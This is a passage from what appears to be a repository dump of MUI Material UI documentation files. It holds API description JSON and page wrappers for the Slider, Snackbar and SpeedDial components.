    "content": "{\n  \"props\": {\n    \"aria-label\": { \"type\": { \"name\": \"custom\", \"description\": \"string\" } },\n    \"aria-labelledby\": { \"type\": { \"name\": \"string\" } },\n    \"aria-valuetext\": { \"type\": { \"name\": \"custom\", \"description\": \"string\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"defaultValue\": {\n      \"type\": { \"name\": \"union\", \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number\" }\n    },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableSwap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"getAriaLabel\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(index: number) => string\", \"describedArgs\": [\"index\"] }\n    },\n    \"getAriaValueText\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(value: number, index: number) => string\",\n        \"describedArgs\": [\"value\", \"index\"]\n      }\n    },\n    \"marks\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;{ label?: node, value: number }&gt;<br>&#124;&nbsp;bool\"\n      },\n      \"default\": \"false\"\n    },\n    \"max\": { \"type\": { \"name\": \"number\" }, \"default\": \"100\" },\n    \"min\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: Event, value: Value, activeThumb: number) => void\",\n        \"describedArgs\": [\"event\", \"value\", \"activeThumb\"]\n      }\n    },\n    \"onChangeCommitted\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent | Event, value: Value) => void\",\n        \"describedArgs\": [\"event\", \"value\"]\n      }\n    },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"scale\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"function Identity(x) {\\n  return x;\\n}\",\n      \"signature\": { \"type\": \"function(x: any) => any\", \"describedArgs\": [] }\n    },\n    \"shiftStep\": { \"type\": { \"name\": \"number\" }, \"default\": \"10\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: func<br>&#124;&nbsp;object, mark?: func<br>&#124;&nbsp;object, markLabel?: func<br>&#124;&nbsp;object, rail?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, thumb?: func<br>&#124;&nbsp;object, track?: func<br>&#124;&nbsp;object, valueLabel?: func<br>&#124;&nbsp;{ children?: element, className?: string, open?: bool, style?: object, value?: node, valueLabelDisplay?: 'auto'<br>&#124;&nbsp;'off'<br>&#124;&nbsp;'on' } }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: elementType, mark?: elementType, markLabel?: elementType, rail?: elementType, root?: elementType, thumb?: elementType, track?: elementType, valueLabel?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"step\": { \"type\": { \"name\": \"number\" }, \"default\": \"1\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"tabIndex\": { \"type\": { \"name\": \"number\" } },\n    \"track\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'inverted'<br>&#124;&nbsp;'normal'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"'normal'\"\n    },\n    \"value\": {\n      \"type\": { \"name\": \"union\", \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number\" }\n    },\n    \"valueLabelDisplay\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'auto'<br>&#124;&nbsp;'off'<br>&#124;&nbsp;'on'\" },\n      \"default\": \"'off'\"\n    },\n    \"valueLabelFormat\": {\n      \"type\": { \"name\": \"union\", \"description\": \"func<br>&#124;&nbsp;string\" },\n      \"default\": \"function Identity(x) {\\n  return x;\\n}\"\n    }\n  },\n  \"name\": \"Slider\",\n  \"imports\": [\n    \"import Slider from '@mui/material/Slider';\",\n    \"import { Slider } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-root\"\n    },\n    {\n      \"name\": \"track\",\n      \"description\": \"The component that renders the track.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-track\"\n    },\n    {\n      \"name\": \"rail\",\n      \"description\": \"The component that renders the rail.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-rail\"\n    },\n    {\n      \"name\": \"thumb\",\n      \"description\": \"The component that renders the thumb.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-thumb\"\n    },\n    {\n      \"name\": \"mark\",\n      \"description\": \"The component that renders the mark.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-mark\"\n    },\n    {\n      \"name\": \"markLabel\",\n      \"description\": \"The component that renders the mark label.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSlider-markLabel\"\n    },\n    {\n      \"name\": \"valueLabel\",\n      \"description\": \"The component that renders the value label.\",\n      \"default\": \"SliderValueLabel\",\n      \"class\": \"MuiSlider-valueLabel\"\n    },\n    {\n      \"name\": \"input\",\n      \"description\": \"The component that renders the input.\",\n      \"default\": \"'input'\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"active\",\n      \"className\": \"Mui-active\",\n      \"description\": \"State class applied to the thumb element if it's active.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiSlider-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiSlider-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiSlider-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiSlider-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiSlider-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiSlider-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root and thumb element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"dragging\",\n      \"className\": \"MuiSlider-dragging\",\n      \"description\": \"State class applied to the root if a thumb is being dragged.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the thumb element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"markActive\",\n      \"className\": \"MuiSlider-markActive\",\n      \"description\": \"Styles applied to the mark element if active (depending on the value).\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"marked\",\n      \"className\": \"MuiSlider-marked\",\n      \"description\": \"Styles applied to the root element if `marks` is provided with at least one label.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"markLabelActive\",\n      \"className\": \"MuiSlider-markLabelActive\",\n      \"description\": \"Styles applied to the mark label element if active (depending on the value).\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiSlider-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"trackFalse\",\n      \"className\": \"MuiSlider-trackFalse\",\n      \"description\": \"Styles applied to the root element if `track={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"trackInverted\",\n      \"className\": \"MuiSlider-trackInverted\",\n      \"description\": \"Styles applied to the root element if `track=\\\"inverted\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"valueLabelCircle\",\n      \"className\": \"MuiSlider-valueLabelCircle\",\n      \"description\": \"Styles applied to the thumb label's circle element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"valueLabelLabel\",\n      \"className\": \"MuiSlider-valueLabelLabel\",\n      \"description\": \"Styles applied to the thumb label's label element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"valueLabelOpen\",\n      \"className\": \"MuiSlider-valueLabelOpen\",\n      \"description\": \"Styles applied to the thumb label element if it's open.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiSlider-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSlider\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Slider/Slider.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-slider/\\\">Slider</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/snackbar-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './snackbar-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/snackbar-content',\n    false,\n    /\\.\\/snackbar-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/snackbar-content.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"message\": { \"type\": { \"name\": \"node\" } },\n    \"role\": { \"type\": { \"name\": \"string\" }, \"default\": \"'alert'\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"SnackbarContent\",\n  \"imports\": [\n    \"import SnackbarContent from '@mui/material/SnackbarContent';\",\n    \"import { SnackbarContent } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"action\",\n      \"className\": \"MuiSnackbarContent-action\",\n      \"description\": \"Styles applied to the action wrapper element if `action` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"message\",\n      \"className\": \"MuiSnackbarContent-message\",\n      \"description\": \"Styles applied to the message wrapper element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiSnackbarContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSnackbarContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/SnackbarContent/SnackbarContent.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-snackbar/\\\">Snackbar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/snackbar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './snackbar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/snackbar',\n    false,\n    /\\.\\/snackbar.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/snackbar.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"node\" } },\n    \"anchorOrigin\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ horizontal: 'center'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right', vertical: 'bottom'<br>&#124;&nbsp;'top' }\"\n      },\n      \"default\": \"{ vertical: 'bottom', horizontal: 'left' }\"\n    },\n    \"autoHideDuration\": { \"type\": { \"name\": \"number\" }, \"default\": \"null\" },\n    \"children\": { \"type\": { \"name\": \"element\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableWindowBlurListener\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"key\": { \"type\": { \"name\": \"custom\", \"description\": \"any\" } },\n    \"message\": { \"type\": { \"name\": \"node\" } },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent<any> | Event, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"resumeHideDuration\": { \"type\": { \"name\": \"number\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ clickAwayListener?: func<br>&#124;&nbsp;object, content?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ clickAwayListener?: elementType, content?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"Snackbar\",\n  \"imports\": [\n    \"import Snackbar from '@mui/material/Snackbar';\",\n    \"import { Snackbar } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiSnackbar-root\"\n    },\n    {\n      \"name\": \"content\",\n      \"description\": \"The component that renders the content slot.\",\n      \"default\": \"SnackbarContent\",\n      \"class\": null\n    },\n    {\n      \"name\": \"clickAwayListener\",\n      \"description\": \"The component that renders the clickAwayListener slot.\",\n      \"default\": \"ClickAwayListener\",\n      \"class\": null\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition.\\n[Follow this guide](/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Grow\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"anchorOriginBottomCenter\",\n      \"className\": \"MuiSnackbar-anchorOriginBottomCenter\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'bottom', 'center' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomLeft\",\n      \"className\": \"MuiSnackbar-anchorOriginBottomLeft\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'bottom', 'left' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginBottomRight\",\n      \"className\": \"MuiSnackbar-anchorOriginBottomRight\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'bottom', 'right' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopCenter\",\n      \"className\": \"MuiSnackbar-anchorOriginTopCenter\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'top', 'center' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopLeft\",\n      \"className\": \"MuiSnackbar-anchorOriginTopLeft\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'top', 'left' }}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorOriginTopRight\",\n      \"className\": \"MuiSnackbar-anchorOriginTopRight\",\n      \"description\": \"Styles applied to the root element if `anchorOrigin={{ 'top', 'right' }}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSnackbar\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Snackbar/Snackbar.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-snackbar/\\\">Snackbar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial-action.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './speed-dial-action.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/speed-dial-action',\n    false,\n    /\\.\\/speed-dial-action.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial-action.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"delay\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ fab?: func<br>&#124;&nbsp;object, staticTooltip?: func<br>&#124;&nbsp;object, staticTooltipLabel?: func<br>&#124;&nbsp;object, tooltip?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ fab?: elementType, staticTooltip?: elementType, staticTooltipLabel?: elementType, tooltip?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"SpeedDialAction\",\n  \"imports\": [\n    \"import SpeedDialAction from '@mui/material/SpeedDialAction';\",\n    \"import { SpeedDialAction } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"fab\",\n      \"description\": \"The component that renders the fab.\",\n      \"default\": \"Fab\",\n      \"class\": \"MuiSpeedDialAction-fab\"\n    },\n    {\n      \"name\": \"tooltip\",\n      \"description\": \"The component that renders the tooltip.\",\n      \"default\": \"Tooltip\",\n      \"class\": null\n    },\n    {\n      \"name\": \"staticTooltip\",\n      \"description\": \"The component that renders the static tooltip.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSpeedDialAction-staticTooltip\"\n    },\n    {\n      \"name\": \"staticTooltipLabel\",\n      \"description\": \"The component that renders the static tooltip label.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSpeedDialAction-staticTooltipLabel\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"fabClosed\",\n      \"className\": \"MuiSpeedDialAction-fabClosed\",\n      \"description\": \"Styles applied to the Fab component if `open={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"staticTooltipClosed\",\n      \"className\": \"MuiSpeedDialAction-staticTooltipClosed\",\n      \"description\": \"Styles applied to the root element if `tooltipOpen={true}` and `open={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementLeft\",\n      \"className\": \"MuiSpeedDialAction-tooltipPlacementLeft\",\n      \"description\": \"Styles applied to the root element if `tooltipOpen={true}` and `tooltipPlacement=\\\"left\\\"``\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"tooltipPlacementRight\",\n      \"className\": \"MuiSpeedDialAction-tooltipPlacementRight\",\n      \"description\": \"Styles applied to the root element if `tooltipOpen={true}` and `tooltipPlacement=\\\"right\\\"``\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSpeedDialAction\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/SpeedDialAction/SpeedDialAction.js\",\n  \"inheritance\": { \"component\": \"Tooltip\", \"pathname\": \"/material-ui/api/tooltip/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-speed-dial/\\\">Speed Dial</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial-icon.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './speed-dial-icon.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/speed-dial-icon',\n    false,\n    /\\.\\/speed-dial-icon.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial-icon.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"openIcon\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"SpeedDialIcon\",\n  \"imports\": [\n    \"import SpeedDialIcon from '@mui/material/SpeedDialIcon';\",\n    \"import { SpeedDialIcon } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiSpeedDialIcon-icon\",\n      \"description\": \"Styles applied to the icon component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconOpen\",\n      \"className\": \"MuiSpeedDialIcon-iconOpen\",\n      \"description\": \"Styles applied to the icon component if `open={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconWithOpenIconOpen\",\n      \"className\": \"MuiSpeedDialIcon-iconWithOpenIconOpen\",\n      \"description\": \"Styles applied to the icon when an `openIcon` is provided and if `open={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"openIcon\",\n      \"className\": \"MuiSpeedDialIcon-openIcon\",\n      \"description\": \"Styles applied to the `openIcon` if provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"openIconOpen\",\n      \"className\": \"MuiSpeedDialIcon-openIconOpen\",\n      \"description\": \"Styles applied to the `openIcon` if provided and if `open={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiSpeedDialIcon-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSpeedDialIcon\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/SpeedDialIcon/SpeedDialIcon.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-speed-dial/\\\">Speed Dial</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './speed-dial.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/speed-dial',\n    false,\n    /\\.\\/speed-dial.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/speed-dial.json",
    "content": "{\n  \"props\": {\n    \"ariaLabel\": { \"type\": { \"name\": \"string\" }, \"required\": true },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'down'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'up'\"\n      },\n      \"default\": \"'up'\"\n    },\n    \"FabProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"hidden\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"onOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" } },\n    \"openIcon\": { \"type\": { \"name\": \"node\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"SpeedDial\",\n  \"imports\": [\n    \"import SpeedDial from '@mui/material/SpeedDial';\",\n    \"import { SpeedDial } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiSpeedDial-root\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      